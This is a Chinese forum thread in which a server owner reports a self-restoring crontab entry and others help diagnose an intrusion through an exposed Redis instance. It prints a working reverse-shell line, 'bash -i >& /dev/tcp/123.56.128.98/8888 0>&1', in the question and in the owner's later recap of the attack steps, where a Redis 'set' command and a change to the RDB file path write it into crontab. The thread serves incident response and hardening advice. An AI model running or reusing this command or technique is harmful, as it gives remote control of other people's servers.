crontab 的定时任务全部被清空,换成了 如下
"\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"
删除之后,过几秒之后,又出现在了定时任务中了。
百度了下看起来像是 反弹 shell,可以看到你在服务器的任何行为。
现在不知道怎么解决,不知道哪个脚本在后台执行,一直写定时任务进去。
求有懂得老铁帮忙看下
1 bigbigeggs OP cpu,内存看起来暂时正常。不知道入侵者想干什么 |
![]() | 2 opengps 2020-12-22 22:41:11 +08:00 抓紧备份数据重装系统恢复业务。 人工清理病毒往往很难判断是否清理彻底,所以及时你清理了病毒也很难发现是否有其他隐患。 如果你想要研究病毒,打个系统镜像,拿到别处研究 |
![]() | 3 opengps 2020-12-22 22:43:31 +08:00 那个 IP 直接浏览器访问 80 端口,发现是个类似于 OA 签到的东西,像是一种后门脚本。 那个 IP 的 8888 端口的站点直接访问提示不安全,看来有可能确实是某种防止滥用。 |
![]() | 4 opengps 2020-12-22 22:46:02 +08:00 太神奇了,那个站点,有备案有作者,楼主确认下是不是正常的对外扩展功能吧。 |
5 bigbigeggs OP |
6 kaneg 2020-12-22 22:52:37 +08:00 via iPhone 是个反向 shell,你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的,你这边删了,另一个任务又把它重建出来了。 你这是哪种 Linux 系统?对外有暴露哪些端口和服务? |
7 bigbigeggs OP |
8 bigbigeggs OP @kaneg 应该还有其他定时任务在执行,但就是找不到。也不知道想干嘛 |
![]() | 9 zszhere 2020-12-22 23:14:34 +08:00 via iPhone 这就是个反弹 shell 啊 你在对方那已经上线了 如果没有可疑进程或者其他用户也没有 crontab 的话 检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持 然后检查下.ssh 目录有没有被写入公钥 |
![]() | 10 zszhere 2020-12-22 23:15:19 +08:00 via iPhone 还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码 |
11 WordTian 2020-12-22 23:22:46 +08:00 via Android ![]() 我猜是 redis 对外开放造成的 |
12 bigbigeggs OP @zszhere .ssh 真有一条公钥,吓死我了,不知道什么时候写进去的,感谢老哥提醒。我还得在排查下其他的 |
13 bigbigeggs OP @WordTian redis 是有对外开放的端口。但是端口不是常用的,并且有设置密码。是有项目在用 redis 塞数据,但 redis 是怎么做到 往 cront 里面写数据的? RDB 文件? |
![]() | 14 cheng6563 2020-12-22 23:34:21 +08:00 via Android 不用排查了,排不全的。直接备份数据格了吧 |
15 hakono 2020-12-22 23:59:51 +08:00 via Android 你那么多服务公开在外网,哪个服务有个安全漏洞不就中招了....... |
![]() | 16 caola 2020-12-23 00:05:28 +08:00 还不备份数据,就等删库跑路吧 |
17 WordTian 2020-12-23 00:07:37 +08:00 via Android @bigbigeggs 对,rdb 文件,写公钥,覆盖 crontab 文件,常规操作了 |
![]() | 18 yuelang85 2020-12-23 00:12:22 +08:00 @bigbigeggs redis 可以修改配置文件和保存配置文件的路径,这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。 |
![]() | 19 itabas016 2020-12-23 01:17:30 +08:00 via Android 服务器不就只应该暴露 ssh/http 端口吗?这是安全常识。 |
![]() | 20 black11black 2020-12-23 06:00:17 +08:00 @WordTian 学习了,redis 对外开放还可能造成这种后果? |
21 steptodream 2020-12-23 08:19:11 +08:00 感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了 |
![]() | 22 alw 2020-12-23 08:51:08 +08:00 我之前 就是 redis 对外开放被黑过,当时不懂,找腾讯云提工单帮我查,定位到了是这个问题导致的。 |
![]() | 23 littlezzll 2020-12-23 09:02:08 +08:00 via Android redis 暴露公网端口一定得加密码,以普通用户启动,前一阵就被 redis 那个提权漏洞搞过 |
![]() | 25 sagaxu 2020-12-23 09:12:44 +08:00 via Android iptables INPUT 默认策略不该是 DROP 吗? |
![]() | 26 PbCopy111 2020-12-23 09:15:27 +08:00 妈呀,备案信息里什么都有啊。。。。我觉得楼主可以直接跟对方联系一下,备份服务器以后可以威胁报警了,哈哈哈哈。 |
![]() | 27 PbCopy111 2020-12-23 09:16:23 +08:00 你们都慢点动手啊!!!!!!!给我留点时间!! |
![]() | 28 ferock PRO 一直不理解,redis 有什么必要暴露到公网??? |
29 Dounx 2020-12-23 09:24:08 +08:00 有备案信息,备份好服务器直接报个警? |
![]() | 30 zszhere 2020-12-23 09:54:04 +08:00 via iPhone @bigbigeggs 附议 14 楼观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。 |
![]() | 31 k8ser 2020-12-23 11:05:10 +08:00 脚本小子,这你不报警抓他,一抓一个准,做好取证,警察叔叔过年都冲业绩呢! |
![]() | 32 ericwood067 2020-12-23 11:19:04 +08:00 "\n* * * * *"大佬们,这个是多久执行一次,被`\n*`给搞懵了 |
![]() | 33 ztxcccc 2020-12-23 11:29:06 +08:00 报警不是美滋滋 |
![]() | 34 kiracyan 2020-12-23 12:02:46 +08:00 这人还是个搞网络安全的 github blog 备案都有 也太不小心了 |
36 iloveayu 2020-12-23 12:23:08 +08:00 名字,扣扣,IP 都有了,保留好证据直接报警吧,这手法还搞网安呢也是没谁了。。。 |
37 zm8m93Q1e5otOC69 2020-12-23 13:23:55 +08:00 via Android 你的 redis 是 root 用户吧 |
38 bigbigeggs OP ![]() 感谢各位大佬的帮助以及建议,昨晚排查到快一点,今天早上又看了看,基本搞懂了。 首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网,具体还不清楚怎么搞到的) 然后往 redis 里面写了一条数据,set x "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n" 然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ,日志如下:  然后他的这条 bash 命令就写进了 cron 定时任务里面去了。 查了查定时任务的日志,大概在 12.9 日已经入侵了,但不知道入侵者的目的。  至今位置,cpu, 内存都一切正常,数据也没有丢失。但是应该数据库,redis,zk 等密码他全部获取到了。 写到了环境变量里面去了,唉。 晚上准备收集一下他的资料,准备和他谈谈,再次感谢各位大佬的帮助了。 可以参考如下两篇文章,写的很详细: redis 入侵: https://www.cnblogs.com/evan-blog/p/10707087.html 反弹 shell: https://www.cnblogs.com/bonelee/p/11021996.html |
39 bigbigeggs OP @beichenhpy 是的,root 用户。已经肯定了是从 redis 入侵的,修改了 dump 文件目录 |
40 bigbigeggs OP |
41 bigbigeggs OP ![]() |
![]() | 42 InkAndBanner 2020-12-23 17:26:04 +08:00 redis 的问题 很常见 我的学生机曾经也被安排过 |
43 bigbigeggs OP @iloveayu 我也查到他的 qq,姓名了,准备 qq 联系一下。还没有手机号,不知道咋搞 |
44 CodeCodeStudy 2020-12-24 09:13:58 +08:00 @bigbigeggs #38 反弹 shell,受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的,怎么让它在后台运行呢?我在后面加上 & 后,在攻击者机器上就看不到输入输出了。 |
![]() | 45 onice 2020-12-24 10:21:59 +08:00 建议备份业务和数据,重装系统。Linux 系统可以安后门的地方太多了,比如替换某个系统文件,比如常见的 ls 命令。那么多命令,鬼才知道是替换的哪一个。 也不是说不可以排查,但排查的成本大于重装的成本。 |
46 bigbigeggs OP @CodeCodeStudy linux 上定时任务,crontab 每分每秒都执行 |
47 CodeCodeStudy 2020-12-24 19:07:11 +08:00 @bigbigeggs #46 Linux 上的 crontab 只能精确到分钟,怎么让它每分每秒都执行? |